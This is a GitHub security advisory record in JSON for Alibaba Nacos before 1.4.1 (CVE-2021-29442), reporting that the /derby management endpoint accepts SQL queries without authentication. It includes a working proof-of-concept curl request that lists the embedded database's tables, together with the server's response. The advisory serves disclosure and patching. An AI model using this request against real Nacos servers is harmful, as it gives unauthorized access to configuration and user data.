{"id":"GHSA-xv5h-v7jh-p2qh","summary":"Authentication bypass for specific endpoint","details":"The [`ConfigOpsController`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java) lets the user perform management operations like querying the database or even wiping it out. While the [`/data/remove`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L133-L135) endpoint is properly protected with the `@Secured` annotation, the [`/derby`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L99-L100) endpoint is not protected and can be openly accessed by unauthenticated users. \n\nFor example, the following request will list the tables of the database:\n```\n❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st'\n{\"code\":200,\"message\":null,\"data\":[{\"TABLENAME\":\"APP_CONFIGDATA_RELATION_PUBS\"},{\"TABLENAME\":\"APP_CONFIGDATA_RELATION_SUBS\"},{\"TABLENAME\":\"APP_LIST\"},{\"TABLENAME\":\"CONFIG_INFO\"},{\"TABLENAME\":\"CONFIG_INFO_AGGR\"},{\"TABLENAME\":\"CONFIG_INFO_BETA\"},{\"TABLENAME\":\"CONFIG_INFO_TAG\"},{\"TABLENAME\":\"CONFIG_TAGS_RELATION\"},{\"TABLENAME\":\"GROUP_CAPACITY\"},{\"TABLENAME\":\"HIS_CONFIG_INFO\"},{\"TABLENAME\":\"PERMISSIONS\"},{\"TABLENAME\":\"ROLES\"},{\"TABLENAME\":\"SYSALIASES\"},{\"TABLENAME\":\"SYSCHECKS\"},{\"TABLENAME\":\"SYSCOLPERMS\"},{\"TABLENAME\":\"SYSCOLUMNS\"},{\"TABLENAME\":\"SYSCONGLOMERATES\"},{\"TABLENAME\":\"SYSCONSTRAINTS\"},{\"TABLENAME\":\"SYSDEPENDS\"},{\"TABLENAME\":\"SYSDUMMY1\"},{\"TABLENAME\":\"SYSFILES\"},{\"TABLENAME\":\"SYSFOREIGNKEYS\"},{\"TABLENAME\":\"SYSKEYS\"},{\"TABLENAME\":\"SYSPERMS\"},{\"TABLENAME\":\"SYSROLES\"},{\"TABLENAME\":\"SYSROUTINEPERMS\"},{\"TABLENAME\":\"SYSSCHEMAS\"},{\"TABLENAME\":\"SYSSEQUENCES\"},{\"TABLENAME\":\"SYSSTATEMENTS\"},{\"TABLENAME\":\"SYSSTATISTICS\"},{\"TABLENAME\":\"SYSTABLEPERMS\"},{\"TABLENAME\":\"SYSTABLES\"},{\"TABLENAME\":\"SYSTRIGGERS\"},{\"TABLENAME\":\"SYSUSERS\"},{\"TABLENAME\":\"SYSVIEWS\"},{\"TABLENAME\":\"TENANT_CAPACITY\"},{\"TABLENAME\":\"TENANT_INFO\"},{\"TABLENAME\":\"USERS\"}]}% \n```\n\nThese endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)","aliases":["CVE-2021-29441","CVE-2021-29442","GHSA-36hp-jr8h-556f"],"modified":"2026-05-07T04:56:51.792381491Z","published":"2021-04-27T20:09:25Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2021-04-27T20:08:49Z","nvd_published_at":"2021-04-27T21:15:00Z","cwe_ids":["CWE-306"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-29442"},{"type":"WEB","url":"https://github.com/alibaba/nacos/issues/4463"},{"type":"WEB","url":"https://github.com/alibaba/nacos/pull/4517"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-36hp-jr8h-556f"}],"affected":[{"package":{"name":"com.alibaba.nacos:nacos-common","ecosystem":"Maven","purl":"pkg:maven/com.alibaba.nacos/nacos-common"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.1"}]}],"versions":["0.1.0","0.2.0","0.2.1","0.2.1-RC1","0.3.0","0.3.0-RC1","0.4.0","0.5.0","0.6.0","0.6.1","0.6.2","0.8.0","0.8.1","0.8.2","0.9.0","0.9.1","1.0.0","1.0.0-RC1","1.0.0-RC2","1.0.0-RC3","1.0.0-RC4","1.0.1","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.2.0","1.2.0-beta.0","1.2.0-beta.1","1.2.1","1.3.0","1.3.1","1.3.1-BETA","1.3.1-BETA.1","1.3.2","1.3.3","1.4.0","1.4.0-BETA"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/04/GHSA-xv5h-v7jh-p2qh/GHSA-xv5h-v7jh-p2qh.json"}}],"schema_version":"1.9.0"}